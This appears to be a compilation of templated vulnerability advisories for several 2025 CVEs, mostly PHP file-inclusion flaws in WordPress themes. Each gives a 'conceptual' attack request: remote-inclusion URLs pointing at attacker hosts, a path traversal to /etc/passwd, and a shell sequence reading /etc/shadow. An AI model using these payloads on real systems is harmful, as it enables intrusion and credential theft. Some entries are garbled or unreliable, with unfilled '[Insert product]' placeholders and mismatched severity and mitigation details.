Author: Ameeba

Overview

In the constantly evolving world of cybersecurity, vulnerabilities are found and patched regularly. One such vulnerability has been discovered in Gavias Winnex, a popular content management system (CMS). This vulnerability has been assigned the identifier CVE-2025-32302 and poses a significant risk due to its potential to allow an attacker to compromise the system or leak sensitive data. The discovery of this vulnerability underscores the importance of maintaining up-to-date software and applying patches promptly to mitigate the risk of a successful attack.

Vulnerability Summary

CVE ID: CVE-2025-32302
Severity: High (CVSS 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Gavias Winnex | up to 1.3.2

How the Exploit Works

The root of this vulnerability lies in the improper control of filename for Include/Require statement in a PHP program. This is commonly known as a ‘PHP Remote File Inclusion‘ (RFI) vulnerability. An RFI vulnerability allows an attacker to include a remote file, usually through a script on the web server, which can be executed locally. This can potentially lead to unauthorized execution of arbitrary code, system compromise, and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this example, the attacker sends a malicious payload via a HTTP POST request to a vulnerable endpoint, exploiting the PHP RFI vulnerability.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"file": "http://attacker.com/malicious_script.php"
}

In this example, the attacker is attempting to force the server to include and execute a malicious PHP script hosted on their own server.

Recommendations and Mitigation

The most effective way to protect against this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
As a best practice, it is advisable to ensure all software and systems are kept up-to-date and patches are applied as soon as they are released. Regular vulnerability scanning and penetration testing should be conducted to identify and remediate potential vulnerabilities.

Overview

The Common Vulnerabilities and Exposures system has identified a serious issue with the Oxpitan platform by gavias, a popular content management system (CMS). This vulnerability, recognized as CVE-2025-32294, is caused by an improper handling of filenames for the include/require statement in its PHP program. Due to this flaw, an attacker can inject PHP Local File Inclusion (LFI), potentially leading to system compromise or data leakage. All users deploying Oxpitan versions up to and including 1.3.1 are affected and should take immediate measures to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-32294
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Oxpitan by gavias | Up to and including 1.3.1

How the Exploit Works

The vulnerability lies in the improper control of filenames for include/require statements in PHP programs. An attacker can manipulate these statements to include files from local or external resources. This is known as a PHP Local File Inclusion (LFI) vulnerability. By exploiting this flaw, an attacker can execute arbitrary code on the server, leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how an attack might be executed. This example uses a malicious request to a vulnerable PHP file:

GET /path/to/vulnerable.php?file=../../../etc/passwd HTTP/1.1
Host: target.example.com

In this case, the attacker is attempting to access the `/etc/passwd` file, which contains user account details on Unix-like systems. The `../../../` in the request navigates the file system to reach the targeted file.

Mitigation Guidance

To mitigate this vulnerability, users should apply the vendor patch as soon as it becomes available. In the meantime, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation attempts. Additionally, users should regularly update their systems and software to protect against known vulnerabilities.

Overview

CVE-2025-32289 is a critical vulnerability that exists due to improper control of the filename for the Include/Require statement in PHP programs. This flaw specifically affects the ApusTheme Yozi, potentially opening the door for PHP Local File Inclusion (LFI). This vulnerability poses a high risk to system security, potentially leading to a system compromise or data leakage. It is therefore crucial for system administrators and developers using ApusTheme Yozi to understand this vulnerability and apply necessary mitigations.

Vulnerability Summary

CVE ID: CVE-2025-32289
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ApusTheme Yozi | All versions through 2.0.52

How the Exploit Works

This vulnerability arises from the application’s mishandling of filenames for Include/Require statements in PHP. By controlling the filename, an attacker can manipulate the application into including a file from a remote server. This remote file can contain malicious PHP code, which then gets executed in the context of the application. The execution can lead to unauthorized system access, compromise, or data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. This example shows a malicious HTTP GET request that includes a remote file with malicious PHP code.

GET /index.php?file=http://malicious.example.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the ‘file’ parameter in the URL contains the address of the malicious PHP file on the attacker’s server (‘http://malicious.example.com/malicious.php’). When the server processes this request, it includes the remote file and executes the malicious PHP code.

Mitigation

The best mitigation for this vulnerability is to apply the vendor-provided patch. This patch addresses the flaw in the handling of filenames for Include/Require statements in PHP. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability.
Remember, keeping your systems and applications up-to-date is a key element in maintaining a strong security posture.

Overview

In the realm of cybersecurity, the discovery of new vulnerabilities plays a crucial role in the maintenance and fortification of systems. The recently unearthed CVE-2025-32286 is one such critical vulnerability. Specifically, it pertains to an Improper Control of Filename for Include/Require Statement in PHP Program, more commonly referred to as a ‘PHP Remote File Inclusion’ vulnerability, found in ApusTheme Butcher. This vulnerability, if exploited, could lead to potential system compromise or data leakage, posing a significant threat to systems running versions of Butcher up to 2.40.

Vulnerability Summary

CVE ID: CVE-2025-32286
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

ApusTheme Butcher | Up to 2.40

How the Exploit Works

The exploit takes advantage of the improper control of a filename in an include/require statement within a PHP program. Essentially, it tricks the application into including a file from a remote server. This file could contain malicious PHP code, which would then be executed on the vulnerable server. This can lead to a full system compromise and unauthorized access to sensitive data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious HTTP request that would trigger the remote file inclusion:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-server.com

In this example, the “file” parameter is manipulated to point to a malicious script hosted on an attacker-controlled server. When the request is processed by the server, the malicious script is executed, leading to a potential system compromise.

Mitigation Guidance

Given the severity of this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. These systems can be configured to block requests containing suspicious parameters, thereby providing temporary mitigation until the patch is applied.

Overview

In today’s increasingly digital world, cybersecurity vulnerabilities represent a significant threat to businesses and other organizations. One such vulnerability, identified as CVE-2025-31913, affects ApusTheme Ogami, a popular theme for websites. This vulnerability involves an improper control of the filename for Include/Require statement in PHP programs, leading to a PHP Remote File Inclusion (RFI) vulnerability. This vulnerability can potentially compromise the system or lead to data leakage, making it a significant concern for all users of ApusTheme Ogami.

Vulnerability Summary

CVE ID: CVE-2025-31913
Severity: High – CVSS Score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ApusTheme Ogami | up to and including 1.53

How the Exploit Works

The PHP Remote File Inclusion vulnerability stems from improper control of the filename for Include/Require statement in PHP programs. In essence, the vulnerability allows an attacker to include a remote file from a server of their choosing. This remote file can contain malicious PHP code, which when executed, can lead to serious consequences such as system compromise or data leakage.

Conceptual Example Code

Given below is a conceptual example of how this vulnerability might be exploited. This example assumes the attacker has crafted a malicious PHP file, hosted on a remote server, which is designed to exploit the system upon execution.

GET /index.php?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker is using the `GET` method to request the `index.php` file from the target server. The `file` parameter value is a URL pointing to the attacker’s malicious PHP file. If the server is vulnerable, it will include and execute the malicious file leading to a potential system compromise or data leakage.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and prevent attempts to exploit this vulnerability, provided they are properly configured to do so.

Overview

The recently discovered vulnerability identified as CVE-2025-31912 is a serious security flaw that affects the Gavias Enzio – Responsive Business WordPress theme, putting countless websites at risk. This vulnerability is caused by improper control of filename for include/require statement in PHP, allowing for PHP Local File Inclusion (LFI). The potential adverse impacts of this vulnerability are severe, ranging from system compromise to data leakage, which could have devastating consequences for businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-31912
Severity: Critical, CVSS Severity Score: 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Gavias Enzio – Responsive Business WordPress Theme| Versions n/a through 1.1.8

How the Exploit Works

The exploit leverages the improper control of filename for include/require statement in PHP. An attacker can manipulate the input to include/require statement and inject a malicious PHP file from a remote server. This vulnerability relies on the ability to control what file is included when a PHP include/require statement is executed. With this control, an attacker can execute arbitrary PHP code, leading to potential system compromise or data leakage.

Conceptual Example Code

A possible exploitation scenario might look like the following HTTP request:

GET /vulnerable.php?file=http://evil.com/malicious_file.php HTTP/1.1
Host: target.example.com
Accept: */*

In this example, the attacker manipulates the ‘file’ parameter in the GET request to include a malicious PHP file hosted on their server (`evil.com`). When the server processes this request, it could execute the malicious PHP code, leading to potential system compromise.

Mitigation

The most effective solution is to apply the vendor patch as soon as it becomes available. If this is not immediately possible, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. These systems can be configured to block or alert on suspicious requests that attempt to exploit this vulnerability. As a long-term solution, it is recommended to review and update the security configurations and practices related to handling file inclusions in PHP.

Overview

Today, we will dive into the detailed exploration of the cybersecurity vulnerability, CVE-2025-31633. This vulnerability is specific to PHP Remote File Inclusion in the gavias Kiamo – Responsive Business Service WordPress theme. The vulnerability affects WordPress websites using the Kiamo theme versions up to 1.3.3, and it poses a significant threat to the integrity and confidentiality of the systems involved. If exploited successfully, the vulnerability can potentially lead to system compromise or data leakage, making it a significant concern for businesses that rely on the security and integrity of their data.

Vulnerability Summary

CVE ID: CVE-2025-31633
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Gavias Kiamo – Responsive Business Service WordPress Theme | up to and including 1.3.3

How the Exploit Works

The vulnerability CVE-2025-31633 is an improper control of filename for Include/Require statement in PHP Program, commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability allows an attacker to manipulate the PHP include or require statement and point to a remote file hosted on an attacker-controlled server. This file could contain arbitrary PHP code that, when included in the server-side code, will be executed with the same privileges as the rest of the application. The potential impact is severe, as this could lead to complete system compromise or data leakage.

Conceptual Example Code

An attacker might use an HTTP request such as the one below to exploit this vulnerability:

GET /index.php?page=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerable-website.com

In the above example, the attacker is manipulating the `page` parameter to point to a malicious file hosted on their server (`attacker.com`). When the server processes this request, it includes the contents of the `malicious_file.txt` in the response, thereby executing the attacker’s code.

Mitigation and Prevention

The best way to address this vulnerability is by applying the vendor patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability by looking for known malicious patterns in HTTP requests. Additionally, developers should ensure that they are following secure coding practices, such as validating and sanitizing input and avoiding the use of user input directly in include or require statements.

Overview

A potent cybersecurity threat has been unearthed, going by the ID CVE-2025-27700. This vulnerability provides an avenue for ill-intentioned hackers to bypass carrier restrictions, potentially leading to local escalation of privilege. The alarming part of this threat is that it does not require any additional execution privileges nor does it require any user interaction to be exploited. This vulnerability can affect any organization that relies on certain carrier restrictions to protect its systems. Its significance lies in its ability to compromise systems or lead to data leakage, posing a significant risk to the integrity and confidentiality of sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-27700
Severity: Critical (8.4/10)
Attack Vector: Local access
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The exploit leverages an unusual root cause to bypass the carrier restrictions. Once the carrier protections are bypassed, the attacker can escalate their privileges locally. This could potentially lead to unauthorized access, system compromise, or data leakage. The exploit does not require any additional execution privileges, making it particularly stealthy and dangerous. Furthermore, the absence of user interaction makes it easier for the attacker to carry out the exploit without detection.

Conceptual Example Code

The following pseudocode illustrates how the vulnerability might be exploited:

# Gain local access to the system
$ ssh user@target.system.com
# Execute exploit code to bypass carrier restrictions
$ ./exploit_CVE-2025-27700
# Escalate privileges locally
$ sudo su -
# Access system resources or data
$ cat /etc/shadow

Note: This is a simplified representation of how the vulnerability might be exploited and does not represent any real-world exploit code.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and prevent suspicious activities, providing a layer of protection against the exploit. It’s also advisable to monitor system logs for unusual activities and enforce strong access control policies.

Overview

In the rapidly evolving world of cybersecurity, vulnerabilities come in many forms. One such flaw, recently identified and cataloged as CVE-2025-48383, involves Django-Select2 – an integration for Django. This vulnerability is particularly concerning as it has the potential to leak secret access tokens across requests, thereby opening up the possibility for unauthorized users to access restricted data and query sets. Due to its severity and the widespread use of Django-Select2, this vulnerability poses a serious risk to organizations that have not yet implemented the recommended patch.

Vulnerability Summary

CVE ID: CVE-2025-48383
Severity: High (CVSS score 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized access to restricted data and query sets, potential system compromise

Affected Products

Product | Affected Versions

Django-Select2 | Prior to 8.4.1

How the Exploit Works

The exploit takes advantage of a flaw in instances of HeavySelect2Mixin subclasses like the ModelSelect2MultipleWidget and ModelSelect2Widget in Django-Select2 prior to version 8.4.1. These instances can leak secret access tokens across requests, allowing malicious actors to gain unauthorized access to restricted data and query sets.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /restricted/data HTTP/1.1
Host: vulnerable-website.com
Authorization: Bearer leaked-access-token

In this example, a malicious actor uses a leaked access token to make a GET request to a restricted data endpoint.

Mitigation Guidance

To ensure the security of systems and data, it is strongly recommended that organizations using Django-Select2 immediately apply the vendor patch by updating to version 8.4.1 or later. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regular software updates and proactive cybersecurity measures are also recommended to prevent future vulnerabilities.

Overview

The cybersecurity world is grappling with the discovery of a new critical vulnerability, CVE-2025-31632, which is associated with SpyroPress La Boom. The issue arises due to an improper control of filename for Include/Require Statement in PHP Program, known as the ‘PHP Remote File Inclusion’ vulnerability. This vulnerability affects any system or website using La Boom versions up to 2.7 and could lead to a severe system compromise or data leakage. The severity of this issue is highlighted by the CVSS severity score of 8.1, indicating that it is a high-risk issue that requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-31632
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

SpyroPress La Boom | Up to 2.7

How the Exploit Works

The vulnerability exists due to an improper control of filename for include/require statement in the PHP program. This allows an attacker to include a file from a remote server that contains malicious PHP code, leading to remote file inclusion. Once this malicious file is included, it is executed on the server, potentially leading to unauthorized access or control over the system.

Conceptual Example Code

An attacker could exploit this issue with a HTTP request that includes the path to the malicious file on a remote server. For example:

GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com

In this request, the ‘page’ parameter is manipulated to include a file from a remote server (`malicious.example.com`). This file (`malicious_file.php`) contains malicious code which, when executed, can compromise the system.

Mitigation

Users are strongly advised to update their SpyroPress La Boom to the latest version. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits. It is also recommended to disable allow_url_fopen and allow_url_include settings in PHP configuration, if not required for the application. These settings allow PHP’s file functions — such as include, require, or file_get_contents — to retrieve data from remote locations, and disabling them reduces the risk of a remote file inclusion attack.